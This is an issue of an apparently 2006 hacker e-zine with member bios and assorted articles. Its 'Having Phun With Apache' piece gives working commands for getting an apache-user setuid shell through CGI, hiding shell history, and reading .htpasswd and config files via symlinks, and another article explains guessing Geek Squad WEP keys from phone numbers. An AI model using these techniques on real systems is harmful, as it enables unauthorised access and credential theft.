PPPPPPPPPPPPPPPPP                   RRRRRRRRRRRRRRRRR   
P::::::::::::::::P                  R::::::::::::::::R  
P::::::PPPPPP:::::P                 R::::::RRRRRR:::::R 
PP:::::P     P:::::P                RR:::::R     R:::::R
  P::::P     P:::::P  ooooooooooo     R::::R     R:::::R
  P::::P     P:::::Poo:::::::::::oo   R::::R     R:::::R
  P::::PPPPPP:::::Po:::::l33t::::::o  R::::RRRRRR:::::R 
  P:::::::::::::PP o:::::ooooo:::::o  R:::::::::::::RR  
  P::::PPPPPPPPP   o::::o     o::::o  R::::RRRRRR:::::R 
  P::::P           o::::o     o::::o  R::::R     R:::::R
  P::::P           o::::o     o::::o  R::::R     R:::::R
  P::::P           o::::o     o::::o  R::::R     R:::::R
PP::::::PP         o:::::ooooo:::::oRR:::::R     R:::::R
P::::::::P         o:::::::::::::::oR::::::R     R:::::R
P::::::::P          oo:::::::::::oo R::::::R     R:::::R
PPPPPPPPPP            ooooooooooo   RRRRRRRR     RRRRRRR
---------------------------------------------------------
--------------------PoR Release # 3----------------------
---------------------------------------------------------

# Members include: I-baLL - Current PoR webmaster; maintainer
of the PoR community; and, currently, the most prolific member 
of the group.

# Judas Iscariot - Judas Iscariot is a pissed off individual 
who doesn't care what you think. It's my Kool Aid motherfucka'. 
If you wish to send him free hardware or porn of your girlfriend, 
he can be reached at adderall@gmail.com
He, along with Gonzo, Scientist, Murd0c, and Enamon, is a true 
founder of PoR.

# Gonzo - a longtime veteran of the Underground, started out in 
the group L.O.S. in 1990. After L.O.S.'s disbanding, he continued 
to stay active in the hacker community, was published in various 
publications, and has even been seen in "Freedom Downtime." He is 
a founding member of P.O.R. Gonzo's web zine site is: 
http://www.reprimandmag.com/ 
He is the editor in chief.

# Murd0c - Murd0c likes phones. He also likes to drink alot. One 
time murd0c drank so much, he social engineered AT&T to send beer 
through his phoneline. He called his new invention the telebeer. 
He is also one of the true founders of PoR. His site can be found at: 
http://www.murd0c.net/

# Enamon - Enamon is.

# MikeTV - MikeTV was born a poor little black boy and crawled his 
way to stardom in a greusom series of gladiator matches. He has 
since left the arena behind and resigned himself to creating art for 
POR. No hacking skils. No Nunchuck skills. He is only a Mascot.

# Scientist - He is currently the firearms master(being the only one 
who actually owns any), and lockpicks master(of the group at least...) 
He is also one of the true founders of PoR.

# Venadium - Resident Krusher of Emo

# Rob T. Firefly - Rob T. Firefly is an amateur hacker, prankster, and 
comedian from Long Island. Formerly known as Rufus T. Firefly, he has 
been active in the scene for over a decade. Rob went on to become a 
staff member and occasional editor of the PLA's spinoff zine, United 
Phone Losers. Rob's personal site can be found at 
http://www.robvincent.net.

# Sephail - Programmer, magnetic stripe reader, DTMF decoder. His 
website is located at: 
http://www.sephail.net 

*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+

In today's issue we will discuss such important topics as:

+--------------------------------------------------------------------+
| "Introduction to PoR Official Release 4" written by I-baLL         |
| x                                                                  |
| "Free Books" by Ilya G                                             |
| x                                                                  |
| "Meetings" by Gonzo                                                |
| x                                                                  |
| "Geek Squad Wi-Fi Settings" by Murd0c                              |
| x                                                                  |
| "Sirius Notes" by Judas Iscariot                                   |
| x                                                                  |
| "Scientific Atlanta Explorer 3100" by Hackawelsh                   |
| x                                                                  |
| "A Review of Duane Reade Calling Cards" by I-baLL                  |
| x                                                                  |
| "Having Phun with Apache" by duper                                 |
|                                                                    |
|_X_x_X_x_X_x_X_x_X_x_X_x_X_x_X_x_X_x_X_x_X_x_X_x_X_x_X_x_X_x_X_x_X_x|

I-baLL writes....

So it's July 5th, 2006. It's been almost 1.5 years since the last PoR issue. That's 1 point 5, not ffifteen. It's warm here in this room but that's because I closed the window. This sucks. New York City in July and the weather people are predicting that the weather won't break 90 for the whole month! I'm not exactly in a writing mood. I'm dehydrated, hairy, and listening to "Dark Side of the Moon." Writing these intros is my procedure to get into an editing mood. Night is drawing fast and I'm rambling. Whatever.

Before I let you guys and gals go I might as well give you some notes, quick updates, whatever.

The articles below were all submitted over the past year. The information in them might be a bit outdated but I'm stilll leaving it all in the issue.

Oh, one other thing... HOPE Number Six is coming up on July 21st!

Gonzo and Me are going to be giving a talk on "Weird Technology" on Friday, in Area B, at 7pm. Be there!

And now on with the issue!

*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+

"Free Books" by IlyaG

I've developed a simple method for legally reading books for free over the Internet. You'll need patience, some free time on your hands, and a Google user account.

1) First, you'll probably want to go to Amazon.com, search for the book you want to read, and see if it lets you read the first page with their "Search inside this book" feature. If you can do this, you're all set to go. Get to the first page of the book and copy down or memorize a distinct sentence from the page.

2) Google has a Book Search feature. Go there, type in the book's title and the sentence you just copied down, and it'll give you that same page. Start reading. It will allow you to go forward to two additional pages. When you reach the third (and last) page, copy down a distinct sentence from it and type that in again. The result will give you that page, and will allow you to go to two additional pages once again. Keep doing this.

3) After approximately nine pages, you will reach a warning telling you that you can't see that page. But, you hopefully WILL be able to see the very top line of that page. Copy it down. You can't read it here, but you can through Amazon's "Search inside this book" feature. Type in that sentence from the blocked page into Amazon and read the page there. Once finished, don't read any further. Amazon's limit is about 40 pages, and you don't want to use that up. When you finish reading the blocked page from Amazon, look back to step 2 to return back to Google. That page may be blocked, but it will give you the next two pages anyway (and you just read that blocked page on Amazon, so you skipped nothing).

You can keep doing this over and over, going through an entire book. If Google decides to stop you (hasn't happened to me yet), you always have Amazon to go back to and keep reading. If you reach Amazon's limit of how many pages you can read, it will be reset after about a week. Also, if you have a Gmail account, you should have a giant load of "invites" (I have 100), which you can give to yourself and create extra Google accounts to keep reading. Sure, it might take time with all the copying and pasting, but at least you can read an entire book over the internet, and it's perfectly legal. All you're doing is abusing the system, not breaking it.

*********************

Meetings
By
Gonzo

	In those days, my L.O.S. days, it was something we had talked about. Sure, we knew about 2600, and its meetings, but we never went. I’m not even sure if N.J. Transit’s “Midtown Direct” service was around then, so even if we would’ve gone in, I’m not sure how we would’ve done it. Looking back at it now, we should have.
	After L.O.S. disbanded, I kept up with things, and did what I could. One night, I was watching a t.v. program about hackers, and it mentioned Off The Hook. I made it a point to check out the show. Many blissful nights were spent on my bedroom floor listening. Then, I heard some thing mentioned about an upcoming conference called “Beyond H.O.P.E.” I had to go, and I did.
	I remember calling N.J. Transit’s customer service, and was told that there is, in fact, a way to go directly into Manhattan. This was my way home. Getting in was no problem, either. My friend, Rachael, had to go to the Village to do some shopping, and she gave me a lift in. I was a bit nervous while I was walking to the corner of Lafayette and Houston, and into the Puck Building.
	I felt incredibly out of sorts there. I was alone, knew no else there, and had no idea what to expect. I roamed around for a bit in the vendors’ area, and saw someone selling books, and one of them was Jim Keith’s Black Helicopters Over America. That was Bob The Bopper a.k.a. in the N.Y.C 2600 meeting as “Conspiracy Bob.” I was into conspiracies and learning about the evils of Big Brother and the N.W.O. I talked with some chick that worked on “Steal This Radio.” I played the Double Dragon game that was there, and I even remember seeing Phiber Optik standing in line to buy a Major Hacking cookie. I left later in the day. Standing out in front, waiting for a cab, I met someone else, Skarecrow, and we’re still friends to this day. Then, I heard a two-way radio go off. It was someone doing security, and there was an announcement that someone was jamming the live broadcast of Off The Hook. Some scrawny guy with glasses started running all over the area looking into car windows and around corners to see what was going on. That was Rebel. We weren’t then, nor are we now, friends. A whole new world had opened in front of me, and I HAD to walk in.
	In October of that year, ’97, I went to my first 2600 meeting. I wasn’t alone, though. At the time, there was someone else I was trying to teach about hacking, and it later turned out to be a waste of my time, but at least I had someone else there. I was hoping to see a familiar face, but none were to be seen.  My then friend and I were standing outside of the then known Citicorp Building. I can’t even remember what we were talking about, but I heard a voice.
	“You’re new here, aren’t you?”
	That was Lupus. He, and his friends whose names I can’t remember introduced themselves, and brought us into the conversation. I talked about the group I was in, and was surprised that others remembered us. That was the day I learned about cloning a cell phone. Lupus left early, for some reason.
	“Someday, the body will be the ultimate hack” he said over his shoulder to me as he headed up to the corner. I never saw him again.
	I had no idea what I had just gotten myself into. The meetings became, and are still, so important to me that I would social engineer my way into leaving early on the first Friday of the month just so I could go in.
	I haven’t missed a meeting since ’99, and my head spins when I think about all that’s happened, all the scrapes with feds, drugs, roaming around in Barnes and Noble, holding court in restaurants, meeting Kevin Mitnick twice, conferences, 9/11, and vast characters of those came, and those who stayed. I have overly strained relations with my biological family, so 2600 has become my chosen family. Family, or, more appropriately, chosen family is something I learned the importance of a long time ago and family is one of the dearest things to me. God only knows how many times they have been there for me, and I don’t think I’ll ever be able to properly show my gratitude. 
	It’s not surprising that I get nostalgic often when I think about the times I’ve had, like coming back to Dover on an insanely quiet summer night, and listening to Art Bell, and every other things that’s happened to me that I fall in love with over and over again. I even have a hacker pop culture ritual that I do just so I’ll be in the right mindset for this long download, and I won’t click “Cancel” 

***********************************************

"Geek Squad Wi-Fi Settings" by Murd0c

Have you ever been sitting around in your house, or your friends house, or even some crazy member of your family's house and not have any internets at all? I've came across a little someting that will help you get wifi a little easier. Now, I must stress this is only from my personal experience and it might not work for you.

Now, since lots of people don't know how to set up wireless routers, they usually leave it to 'the professionals'. Really, they leave it up to Best Buy's Geek Squad. From what I've learned, Geek Squad sets up the routers like this. 

SSID = Last name of the customer
WEP (almost always WEP) = Customer's home telephone number

So, say you're sitting at your friend's house and you see an encrypted network with the SSID of "Davidson". Fire up Google and do a search for Davidson + town you're in. This should, usually yield an entry somewhat in proximity to where you're at, either on your street or one over. 

I've tried this out a few times in various parts of the country and it hasn't failed me yet. Perhaps this will entice Best Buy to stop being so fucking stupid when programming their routers. 

P.S.: This article is so crappy because it's last minute stuff. Sorry :(

**********************************************************

123456789.123456789.123456789.123456789.123456789.123456789.1234565789.1234565789.

Sirius Satellite Radio Activation Process Bamboozala 2006!
Authored by Judas Iscariot

So 2006 is upon us.  No more wardrobe malfunctions, P Diddy-name annexations, or
lip-synching performances on Saturday Night Live.  With a new year, brings us new
technology.  Sirius Satellite Radio and Howard Stern want YOU to join the digital
army, and abandon terrestrial radio altogether.  No commercials, no FCC, and tons
of categorized channels and styles, and for your audible please for a nominal fee!

I've decided to write this article not in the sense of "h3r3's t3h h4x!!" but more
of the traditional info-spective.  I recently came to acquire a Sirius car kit with
stylish receiver (mmm....blue LEDs!).  I ran through the new customer activation 
over the 800 number as opposed to internet ordering.  After completing the process
I sat testing out the new receiver going over in my mind the underpaid, inbound,
telemarketers script.  The entire activation process flowed through my cranium 
searching out the pieces to how the system works.  Kind of a shoot-from-the-hip
technologically rooted theory.  With that, I present to, the Sirius Satellite 
Radio Activation Process Bamboozala 2006!

After calling the 1-800 activation number, an IVR comes up stating with the recent
holidays, they are experiencing and influx of callers and hold times are currently 
in an extended period.  I was immediately dropped to a horrible, faint, stream of
the country channel.  I'm guessing whoever set up the box they running that off of
either has the encoding waaay to low (along with the volume), or the phone system 
was acting up.  30 minutes later I was greeted by a man named Raul.  I told him I 
wished to activate my ubercool new radio.  He proceeded to rape my docs and I had 
to give him my name, address and email address for which I declined (SPAM!).  Raul
then asked for a very important piece of information.  The way the receivers are 
activated are by a 12 digit Sirius ID (SID) number.  Any hacker worth his salt 
will tell you this will be the first thing to attack.  Take your mac address 
spoofing skills from your college Comp Sci class and apply it to the SID.  You may 
be asking "How the phuck do I do that?"  I don't know!  Truthfully, I don't know 
**** about radio freqs and the such, so I did some searching and found this guy 
who thinks he knows what he is talking about.

   drktitan56 writes "SIRIUS uses a QPSK (Quad-rature Phase Shift Keying) 
   for its modulation scheme. If you look around on the internet you can 
   get the schematics for a QPSK (four level) decoder and you can get all 
   the parts to make one from Radio Shack for about $10. The frequency for 
   SIRIUS is 2.32 Ghz and the signal bandwidth is 12.5 Mhz for the whole 
   system. The QPSK will not work if the receiver you have uses the TDM 
   (Time Division Multiplexing)."

So, is this the way to decode the signal and possibly recreate it with spoofed 
info thereby allowing you free 0-day spl0itz?  Possibly.  I'm simply providing the
inf0z possibly inspiring some poor ham to start experimenting.  

The rest of the activation process was mostly more raping of the d0cz, setting up 
a sirius.com user name and password, and setting up a payment plan.  Nothing else 
technical was done except when they send you the magic "activation signal".  Your
receiver grabs an update from the signal and starts to load the channels into the 
unit.  Nothing shady about that.  All in all, the main weakness lies in the SID.
I've looking into getting the company to clone my SID into a separate unit that I 
would purchase, but they told me this could not be done.  Only secondary units can 
be added onto the account for a lesser fee per month.  The billing system lists 
all registered radios under each customer account.  While this doesn't help in 
getting free service, it's still a cool fact none the less.  

How do you get free satellite radio?  I don't know.  As I said previously stated 
in my opening (loalz, in my...forget it) I am simply giving information, purely 
from a skeptical consumers points of view.  Mostly I want to light some fires 
under people's asses so this new technology can be explored.  ¡Felíz año nuevo!

******************************

SCIENTIFIC research in the ATLANTA Georgia area shows that _3100_ is a 
number...
By Hackawelsh
Inspired by Judas Iscariot

[A: COPYRIGHT HACKAWELSH 2005: HOT GIRL LICENSE]-----
I don't give a shit what you do with this document, however, if you are 
a hot girl, by reading this, you consent to any number of sexual 
activities I may desire to engage in with you, should we ever meet at a con, 
or in a dark alley.

[B: DISCLAIMER]--------------------------------------
I don't know shit about fuck when it comes to hardware, so most of this 
crap is being pulled out of my ass, and other orifices.

[1: Narrative/rambling intro]------------------------
Fucking cable's out.  The little LED display on my the front shows 
random numbers, instead of the time.  Bastards.  Called them up the other 
day, said they couldn't fix the problem from there HQ.  They had to send 
someone out today.  He couldn't fix it either - said they have to run 
new lines to the house.  

One plus, however; I noticed how the cable tech was entering debug mode 
on this particular box, so I did a little exploring of my own.  Note 
that because my cable was out the fruits of my labor may be more or less 
ripe than your own.

[2: Accessing Debug Mode]----------------------------
Accessing debug mode is no major secret, it's similar to the  older 
boxes documented on dslreports [1].  All you do is hold down the "diamond 
button" (the one in the  middle of the arrow keys) on the front panel 
of the cable box until the little envelope LED lights up, at which point 
you press info.  

Congratulations, step one of Gibson Hacking is complete.

Navigating through the system is fairly straight forward with the arrow 
keys on the box.  The tech d00d was able to press a sequence on the 
remote and navigate using the remote, but I didn't catch what he pressed 
and was unable to reproduce such results.

[3: Linux Potential]---------------------------------
"he Explorer DHCT features a 32-bit, 130 MHz RISC microprocessor; an 
Internet Protocol-based, real-time reverse path DAVIC transmitter; and an 
out-of-band control channel that can support interactive or 
session-based services." [4]

To me "130 MHz RISC microprocessor" means this thing is screaming for 
someone much more leet than myself (there are very few people that fit 
this description, however) to run Linux on this thing.

But I'm sure someone could install Linux on a Tamagotchi if they wanted 
to so that's not really that cool...

[4: Hax0ring Their N3tw0rk]--------------------------
Page 3 of the diagnostics mode was what I found to be most interesting.  
They have the mac addresses of 4 devices.  Three of them had the same 
prefix: 00:02:DE, which, after a quick lookup on coffer.com [3], I was 
able to find were produced by Astrodesign Inc.  These three MACS were 
E-MAC, RF-MAC (these two were sequential) and ISE.  The fourth MAC, 
labeled ESE was showing up "Unavailable."  I believe that ISE means 
"Internal Something or Other" and ESE means "External Something or Other", and 
if I had service it would show the MAC address of a host of gateway 
system of some kind.

I was surprised the prefix was not Sci At, but I did a little digging 
on Astrodesign Inc (some Japanese company) and I don't think Scientific 
Atlanta makes this kind of product.  A little research was able to turn 
up a PCI Board they make that smells like it could be the one in the 
SA3100 [6].  Here's why I thought that:

"The board can be used for transmission of data contents for digital 
broadcasting, as well as for input, output, and/or multiplexing of 
transport streams from different types of hardware that use digital 
broadcasting/communication transport streams."

I was unable to find anyone working with these boards on Linux, despite 
their PCI-ness, and the potentially k-rad sploits.  In case none of 
what I'm incoherently rambling about is coming together in your noodle, 
I'm wondering aloud (well in text, but STFU) whether or not someone could 
get on the digital cable network through their PC if they had one of 
these cards and some mad RE/driver writing skillz (I assume the specs are 
not openly available).

[5: Fin]---------------------------------------------
That's all for now.  I busted my ass on a nice summary of the 
diagnostic pages, so Czech those out too, man.

[APPENDIX A: DIAGNOSTIC PAGE SUMMARY]----------------
The dslreports page has nice pictures of these screens, but they are 
not of the 3100 and are slightly different.  Among the differences, the 
3100 has more pages (16) than the box they refer to.

Note: this was compiled while I had no cable service, results may vary.
I. STATUS SUMMARY
	A. INITILIZATION
		1. Status
		2. CPU/Bus
		3. Ev Pool
	B. MEMORY (table)
		1. ROWS
			a. Total
			b. Free
			c. Largest
			d. Chunks
		2. COUMNS
			a. System Heap
			b. SARA Heap
			c. Video Heap
	C. RF PARAMETERS
		1. Tuner
		2. FDC
		3. RDC
	D. CLOCKS
		1. Booted
		2. Current
II. POST AND BOOT RESULTS
	A. (Not Applicable)
		1. Note: I believe if you have a working cable connection this would 
be 		   different
	B.  BOOT STATUS
		1. UNcfg
		2. BFS
		3. SI
		4. SAM
		5. IPG
		6. PowerKEY
III. NOT TITLE
	A. SOFTWARE VERSIONS
		1. PTV OS
		2. FLASH
		3. App(s)
	B. HARDWARE MODULES
		1. HWConfig
		2. BIP
		3. AC3
		4. BGATE
		5. BCOM
		6. TVP
		7. RFModem
		8. MAC
		9. QPSKRX
		10. QPSKTX
		11. ISE
		12. ESE
		13 DDS
	C. SERIAL NUMBERS
		1. E-MAC
		2. RF-MAC
			a. Note: in my experience E-MAC and RF-MAC are sequential mac 			   
addresses
		3. ISE
		4. ESE
IV. NO TITLE 
	A. STATUSES
		1. Tuning Mode
		2. Tuner State
		3. TV Mgr
		4. TV Res Err
		5. Tuning Tbl
		6. Channel
		7. Souce Id
		8. BFS Dir
	B. ETHERNET
		1. IP
		2. Subnet Mask
	C. RF NETWORK
		1. IP
		2. SUBNET MASK
		3. Hub ID
	D. MPEG STATS
		1. Video
		2. Audio
	`	3. PCR
		4. PCR Lock
		5. A/V Disc
		6. PTS
		7. PEI
		8. PER
		9. SER
		10. RST
	E. ENTITLEMENT AGENTS
		1. ISE[1]
V. NO TITLE
	A. CURRENT FDC
		1. Freq
		2. DAVIC
		3. Status
		4. Level
		5. Seconds
		6. Corr Bytes
		7. Uncor Blks
		8. Errs Avg/Inst
		9. Total Bytes S/N
	B. CURRENT RDC
		1. Freq
		2. Power
		3. Delay
		4. Retrans
	C. CURRENT QAM
		1. Freq
		2. Tuning Mode
		3. Status
		4. Level
		5. S/N
		6. Seconds
		7. Corr Bytes
		8. Uncor Blks
		9. Errs Avg/Inst
		10. EQ Gain
VI. POWERKEY INFORMATION
	A. NO SUBSECTION TITLE (table)
		1. ROWS
			a. EMMs
			b. Time GBAMs
			c. App GBAMs
			d. Ext GBAms
			e. EMCs
				
		2. COLUMNS
			a. Recieved
			b. ISE
			c. ESE
	D. NO SUBSECTION TITLE (table)
		1. ROWS
			a. ISE
			b. Comm
			c. Version
		2. COLUMNS
			a. Errors
			b. Cmd/Err
			c. Date.Time
	E. NO SUBSECTION TITLE
		1. Version
		2. Prog Stat
		3. Prog Entitle
		4. Decrypt Stat
		5. late Keys
		6. Sub Expires
		7. CA Time
		8. EUT Update
		9. Decrypt Fail
		10. Last Late Key
VII. IPPV INFORMATION
	A. NO SUBSECTION TITLE
		1. ROWS
			a. Prch GBAMs
		2. COLUMNS
			a. Received 
			b. ISE
			c. ESE
	B. LAST ATTEMPTED
		1. Device
		2. EID
		3. Result
		4. Time
	C. LAST SUCCESS
		1. EID
		2. Time
	D. NO SUBSECTION TITLE
		1. FPM Poll
		2. PPV Collect
VIII. QPSK SIK INFORMATION
	A. RECEIVE STATISTICS (table)
		1. ROWS
			a. CA
			b. Broadcast
			c. DNCS
			d. DAVIC
			e. PassThru
			f. OOB SI
		2. COLUMNS
			a. Ctrl
			b. VPI
			c. VCI
			d. Off 
			e. Ovfl
			f. Packets
	B. TRANSMITTED PACKETS (table)
		1. ROWS
			a. Slotted Aloha
			b. TDMA
			b. Resevation
			c. Ranging
			d. Errors
		2. COLUMNS
			a. DAVIC
			b. SA/RES
			c. TDMA
IX. PPV SERVICE SUMMARY
	A. PPV SERVICE
		1. State
		2. PPC Svc
		3. Interstitial 
		4. Index Ver
		5. Immed Ver
		6. Event Svc
	B. PPV EVENT
		1. Title
		2. Svc Index
		3. EID
		4. Secure Buy
		5. Event
		6. Advertise
		7. Preview
		8. Cancel End
		9. GBAM
X. DIGITAL VIDEO STATUS
	A. NO SUBSECTION TITLE
		1. Freq
		2. Tuning Mode
		3. TV Mgr
		4. Uncor Blks
		5. Seconds
		6. Level
		7. Channel
		8. BFS Dir
	B. NO SUBSECTION TITLE (table)
		1. ROWS
			a. Free
			b. Largest
		2. COLUMNS
			a. System Heap
			b. Video Heap
	C. NO SUBSECTION TITLE (table)
		1. ROWS
			a. ISE
		2. COLUMNS
			b. Errors
			c. Cmd/Err
			d. Date.Time
		3. Sub Expires
	D. NO SUBSECTION TITLE 
		1. ISE
		2. Late Keys
		3. FPM Poll
		4. A/V Disc
		5. PEI
		6. Last Late Key
		7. Decrypt Fail
		8. PER
		9. PTS
		10. SER
		11. RST
XI. VOD INFORMATION
	A. Service Group
	B. SI Received
	C. Int
	D. Ext
	E. TABLE
		1. COLUMNS 
			a. State
			b. Session
			c. Entitlement
			d. Stat
			e. Activated
XII. BOOTLOADER INFORMATION
	A. Vendor ID
	B. HW Model 
	C. HW Version
	D. Bldr Version
	E. Group ID
	F. Image ID
	G-J. Word 1-4
	K. NVM Writes
XIII. SAM INFORMATION
	A. DOWNLOADED APPS
	B. ACTIVE SERVICES
XIV. SARA INFORMATION
	A. Global Cfg
	B. Addreessed Cfg
	C. IPG Daemon
	D. EAS 
XV. QAM CHANNEL STATUS (table)
	A. ROWS
		1. NOTE: Rows are simply numbered 1-15
	B. COLUMNS
		1. Chan
		2. % Full
		3. Pkts RX
		4. Pkts Avail
		5. Overflows
		6. Seconds
XVI. QPSK CHANNEL STATUS (table)
	A. ROWS
		1. NOTE: Rows are simply numbered 8-19
	B. COLUMNS
		1. Chan
		2. % Full
		3. Pkts RX
		4. Pkts Avail
		5. Overflows
		6. Seconds

[WORKS CITED]----------------------------------------
[1] dsl reports' SCI AT Hardware FAQ: 
http://www.dslreports.com/faq/sciatl/3.1%20Using%20diagnostic%20screens
[2] 
That t-file judas wrote for some zine: 
http://www.thesearenotthedroidsyourelook.info/porissue3.txt
[3] 
Coffer.com MAC Address Vendor Lookup: http://coffer.com/mac_find/
[4] Sci At 
Consumer Products: 2100/3100: 
http://www.scientificatlanta.com/products/consumers/Exp2100or3100.htm
[5] 
(OUTDATED) Sci At Spec Sheet on the 3100: 
http://sciatl.com/customers/Source/745880.pdf
[6] Astrodesigns 
Multi-type PCI Board Product Inf0z: 
http://www.astrodesign.co.jp/en/product/catalog/cx570e.html

********************************

Review: Duane Reade Calling Cards

If you drop by your local Duane Reade drug store you'll see this rotating stand filled with cards. Pre-paid credit cards, some other cards, plus Duane Reade calling cards. As a spur-of-the-moment buy I bought me the calling card.

The card that I bought has 500 minutes on it. I don't remember what it cost me though but that's not that important. The card is kinda weird. The fornt of the card says "Duane Reade" (obviously), but then it also says "BellSouth Prepaid Phone Card", "Powered by Fast Card", and, on the back of the card, it says: "Services provided by: U.S. South".

Anyways, the number to call to use the card is: 1-800-445-9268 (or, for Spanish, 1-800-450-0530). You then enter your pin number (on my card the pin is written in the following format: xxx xxx xxxx), and then a voice prompt says to enter 1 for calls in the U.S., the Carribean and Virgin Islands, basically all the places where the country code is 1+. Then it says to dial 011 for all other places. Whatever.

Here's the scoop on what's so good about the cards:

They pass no CPN.
They pass an ANI of 404-806-2699 (an Alabama, Georgia exchange)
They allow you to dial toll-free numbers (though those do take up minutes.)

Seeing how the BellSouth is one of the names listed on the card I decided to call up 1-800-BellSouth to see if the calling card passed any of my information on the Bell South network. The friendly Bell South operator told me that they were seeing the number as originating from 404-806-2699. That meant that none of my docs were being passed.

So, overall, the card's not too bad. It's rechargeable (though I don't know if you can use cash to do that), and you can make more calls without hanging up by hitting the # key twice (a common feature on most calling cards.)

*************************************

Having Phun With Apache (by duper)

Ever wanted to access local apache resources but wasn't exactly sure 
how? If so, then keep reading.. this article is for you! :-) The 
following techniques assume that you have a local user account on the 
machine where the Apache httpd daemon is running.

Typically, apache runs under its own user/group. These are configured by the
User and Group directives respectively in the httpd.conf file. By default, 
apache executes CGI scripts as itself. Therefore, a user that can create their
own CGI scripts can probably execute arbitrary commands as the apache 
user. If you have write access to a directory that has the ExecCGI 
option enabled in httpd.conf, then creating a set-id shell binary should 
be easy enough. First, prevent your shell history file from being 
written to cover your tracks. Execute something similar to the following 
beforehand:

bash$ export HISTFILE=/dev/null
tcsh> unset histfile

Reefer to teh man page for your specific shell. We'll print out the HTTP 
Content-type so there isn't a "premature end of script headers" message 
stored in the httpd error_log. Something like that might attract 
attention.

$ id
uid=101(duper) gid=101(duper)
$ pwd
/home/duper
$ #ExecCGI UserDir
$ cat>public_html/test.cgi
#!/bin/sh
/bin/cp /bin/sh ~
/bin/chmod 6751 ~
/bin/echo Content-type: text/html
/bin/echo
/bin/echo
$ chmod 0755 ~/public_html/test.cgi
$ lynx -dump http://localhost/~duper/test.cgi

$ ./sh
$ id
uid=81(apache) gid=81(apache)
$

Of course, this trifle can be avoided by configuring suexec or disabling 
CGI altogether, but if you aren't permitted to execute CGI scripts, 
don't fret, there  are other ways to access apache files, just yet; 
recognize, the age-old symlink trick is still in full effect! Simply 
make a symbolic link to the desired file from your public_html 
directory and view it in a web browser. Give the link an innocuous name 
since an entry will be created in the server access_log. 

This technique can be used to read any file the apache user has 
access to. For instance, .htpasswd files that contain the encrypted 
passwords for HTTP authentication--Crack the DES/MD5 hashes with john. 
If you want to read another user's .htpasswd file: 

$ ln -s ~user/public_html/.htpasswd ~/public_html/index2.html
$ lynx -dump http://localhost/~$USER/index2.html

Again, Apache can be reconfigured to more stringently handle symbolic links.
Adding the directives +SymLinksifOwnerMatch and -FollowSymLinks to 
the UserDir's Directory definition should stop such behavior. However, a 
subtle variation of the symlink maneuver can circumvent the security 
these directives are meant to imply. Observe that it is possible to use 
the public_html directory itself as a target for the symbolic link.
So, if we don't have permission to read the server configuration file, 
we have:

$ mv ~/public_html ~/public_html.tmp
$ ln -s /etc/httpd/conf/httpd.conf ~/public_html
$ lynx -dump http://localhost/~$USER

[...]

This can be real phun if the usual directory Indexes directive is enabled 
That way, you can set the source of the symbolic link to the conf 
(or any other) directory and decide which apache-owned files you 
want to read for yourself..but don't forget the access log is keeping a 
record of the name of every symbolic link you're viewing. Page through 
your local httpd.conf file for more goodies to gather. Have phun.

<don-o>	tomwsmf: have you passed the heliopause and entered outer space?
<tomwsmf> Hail Jaurez full of bitz, thine zer0dayz are with ye

*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+

Uhm, okay, so maybe I didn't really proof-read this issue or edit it or anything like that.
Also, I'm probably going to keep the format of the zine as an rtf file (rtf = Rich Text Format).
I like the fact that it keeps the shape of the articles better than txt.

Anyways, that's it for now!

Send you comments to:

patternsofrecognition

at

yahoo.com

--I-baLL  July, 7th, 2006.